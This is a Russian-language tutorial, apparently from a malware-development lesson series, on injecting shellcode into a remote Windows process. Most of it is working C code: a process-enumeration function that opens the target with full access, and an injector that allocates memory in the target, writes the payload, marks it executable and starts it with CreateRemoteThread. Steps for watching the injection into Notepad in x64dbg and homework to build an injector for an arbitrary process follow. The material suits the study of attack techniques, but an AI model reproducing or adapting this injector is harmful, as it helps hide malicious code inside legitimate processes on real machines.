Эта статья похожа на предыдущую DLL Injection с небольшими изменениями.
Инъекция shellcode в процесс будет использовать практически те же самые API Windows.
VirtualAllocEx - выделение памяти.
WriteProcessMemory - запись полезной нагрузки в удаленный процесс.
VirtualProtectEx - изменение защиты памяти.
CreateRemoteThread - выполнение полезной нагрузки через новый поток.
Перечисление процессов
Как и в предыдущей статье, инъекция процесса начинается с перечисления процессов.
Фрагмент кода для перечисления процессов, показанный ниже, уже был объяснен в предыдущей статье.
C:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите член dwSize в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован, Process32First завершится с ошибкой.
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// Создает снимок текущих выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot завершилось с ошибкой: %d \n", GetLastError());
goto _EndOfFunction;
}
// Получает информацию о первом обнаруженном процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First завершилось с ошибкой: %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Преобразование каждого символа в Proc.szExeFile в символ в нижнем регистре
// и сохранение его в LowerName
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// Если имя процесса в нижнем регистре совпадает с искомым процессом
if (wcscmp(LowerName, szProcessName) == 0) {
// Сохранить PID
*dwProcessId = Proc.th32ProcessID;
// Открыть дескриптор процесса
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess завершилось с ошибкой: %d \n", GetLastError());
break;
}
// Получает информацию о следующем процессе, зарегистрированном в снимке.
// Пока в снимке остается процесс, продолжаем цикл
} while (Process32Next(hSnapShot, &Proc));
// Очистка
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
Инъекция Shellcode
Для выполнения инъекции shellcode будет использована функция InjectShellcodeToRemoteProcess.
Функция принимает 3 параметра:
hProcess - Дескриптор открытого удаленного процесса.
pShellcode - Базовый адрес и размер расшифрованного shellcode. Shellcode должен быть в виде текста перед инъекцией, потому что его нельзя редактировать, когда он уже находится в удаленном процессе.
sSizeOfShellcode - Размер shellcode.
Функция InjectShellcodeToRemoteProcess - Фрагмент кода
C:
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// Выделяем память в удаленном процессе размером sSizeOfShellcode
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx завершилось с ошибкой: %d \n", GetLastError());
return FALSE;
}
printf("[i] Выделена память по адресу: 0x%p \n", pShellcodeAddress);
printf("[#] Нажмите <Enter> для записи полезной нагрузки... ");
getchar();
// Записываем shellcode в выделенную память
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory завершилось с ошибкой: %d \n", GetLastError());
return FALSE;
}
printf("[i] Успешно записано %d байт\n", sNumberOfBytesWritten);
memset(pShellcode, '\0', sSizeOfShellcode);
// Делаем память выполнимой
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx завершилось с ошибкой: %d \n", GetLastError());
return FALSE;
}
printf("[#] Нажмите <Enter> для выполнения... ");
getchar();
printf("[i] Выполнение полезной нагрузки... ");
// Запускаем shell
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE !\n");
return TRUE;
}
Освобождение памяти в удаленном процессе
VirtualFreeEx - это WinAPI, который используется для освобождения ранее выделенной памяти в удаленном процессе. Эту функцию следует вызывать только после того, как полезная нагрузка полностью выполнена, иначе это может привести к освобождению содержимого полезной нагрузки и сбою процесса.
C:
BOOL VirtualFreeEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
VirtualFreeEx принимает такие же параметры, как и API VirtualFree, но с единственным отличием: VirtualFreeEx принимает дополнительный параметр (hProcess), который указывает целевой процесс, где находится область памяти.
Отладка
Вообще отладка похожа как в этой статье:Уроки - Разработка малвари-12. Иньекция в процесс
В качестве домашнего задания, предлагаю написать проект инъекции в произвольный процесс и самостоятельно провести отладку по алгоритму ниже.)
Для примера, инъекция shellcode выполняется в процесс Notepad. Начните с открытия Notepad и присоедините к нему отладчик x64 xdbg.
- Запуск Notepad и xdbg. Запустите Notepad. Откройте xdbg и выберите "File" > "Attach" или используйте горячую клавишу (обычно F2). В списке процессов найдите Notepad и присоедините к нему отладчик.
- Подготовка к инъекции. Перед тем как начать инъекцию shellcode, убедитесь, что отладчик находится в режиме ожидания (приостановлен).
- Просмотр памяти Откройте окно "Memory" в xdbg, чтобы просмотреть области памяти, куда был инъектирован shellcode. Это позволит вам лучше понять, как он работает и что делает в памяти целевого процесса.
Последнее редактирование: